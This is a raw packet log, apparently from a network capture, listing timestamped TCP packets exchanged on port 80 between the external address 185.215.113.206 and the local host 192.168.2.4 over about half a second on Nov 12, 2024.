Nov 12, 2024 02:13:09.523838043 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523848057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.523878098 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.523904085 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.571360111 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.571373940 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.571384907 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.571433067 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.571463108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.598666906 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598700047 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598718882 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598730087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598824024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598851919 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598865032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598875046 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598886967 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598900080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.598942995 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.598942995 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.598942995 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.598942995 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599327087 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599391937 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599406004 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599420071 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599431992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599442959 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599447966 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599473953 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599489927 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599786043 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599802971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599813938 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.599838972 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.599854946 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.639980078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640088081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640101910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640113115 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640121937 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640137911 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640151024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640162945 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640167952 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640192986 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640192986 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640192986 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640192986 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640216112 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640391111 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640403032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640446901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640711069 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640726089 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640738010 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640743971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640749931 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640760899 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640773058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640788078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640798092 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640799046 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640819073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640825033 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640830994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.640849113 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.640896082 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.641158104 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.641199112 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.641211987 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.641242981 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.688934088 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.688949108 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.688960075 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.689132929 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.689132929 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716074944 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716099977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716113091 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716124058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716130018 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716141939 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716156960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716169119 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716181040 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716192007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716262102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716262102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716262102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716262102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716262102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716774940 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716789007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716800928 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716811895 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716824055 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716834068 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716835022 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716850996 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716855049 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716860056 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.716880083 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716892958 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.716919899 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757041931 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757143021 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757147074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757164001 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757174969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757184982 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757195950 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757208109 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757219076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757378101 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757386923 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757386923 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757391930 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757405996 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757438898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757463932 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757471085 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757481098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757492065 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757505894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757519007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757519007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757530928 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.757555008 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.757567883 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.758197069 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758209944 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758223057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758234024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758248091 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758258104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.758274078 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.758296013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.758569956 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758583069 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758593082 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.758624077 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.758651972 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.805902004 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.805913925 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.805923939 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.806103945 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.806104898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833175898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833187103 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833197117 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833201885 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833208084 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833214045 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833230019 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833237886 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833393097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833393097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833421946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833434105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833446026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833470106 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833497047 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833621025 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833635092 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833647013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833664894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833673000 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833700895 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833720922 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.833949089 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833960056 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833971977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.833983898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.834003925 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.834033012 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874178886 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874231100 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874253988 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874267101 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874284983 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874334097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874334097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874334097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874345064 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874377966 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874396086 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874454021 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874465942 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874476910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874494076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874505997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874510050 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874520063 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874531031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.874545097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874558926 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.874583006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875032902 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875046015 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875062943 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875085115 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875116110 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875248909 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875262976 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875276089 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875286102 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875308990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875324965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875564098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875576019 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875586987 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875616074 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875621080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875633955 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875642061 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875647068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.875669956 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.875690937 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.922966003 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.922976971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.922991037 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.923002005 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.923028946 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.923111916 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950273991 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950319052 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950342894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950355053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950365067 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950442076 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950534105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950546980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950558901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950608969 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950619936 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950628996 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950635910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950649023 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950660944 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950668097 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950676918 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950680971 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950690031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950701952 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.950701952 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950735092 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.950773954 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.951282024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.951293945 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.951303959 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.951339006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.951370001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991245031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991328001 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991336107 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991360903 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991374016 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991380930 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991389990 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991401911 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991420984 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991431952 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991449118 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991491079 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991493940 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991507053 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991547108 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991548061 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991559029 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991581917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991581917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991602898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991848946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991862059 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991873980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991885900 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.991902113 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991913080 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.991961956 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992151022 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992172003 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992187023 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992198944 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992209911 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992218018 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992249966 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992274046 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992521048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992569923 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992574930 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992583990 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992613077 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992624044 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992625952 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992635965 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992649078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:09.992664099 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992676973 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:09.992697954 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.040038109 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040050983 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040061951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040117025 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.040127993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040137053 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.040139914 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040152073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.040165901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.040194988 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067234039 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067265034 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067276955 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067325115 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067342997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067353010 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067375898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067388058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067389965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067400932 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067414999 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067473888 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067658901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067671061 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067687035 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067706108 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.067713022 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067725897 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.067780018 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.068058968 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068082094 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068095922 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068108082 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068116903 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.068120003 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068136930 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.068165064 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:10.068351030 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:10.068367958 CET	80	49732	185.215.113.206	192.168.2.4
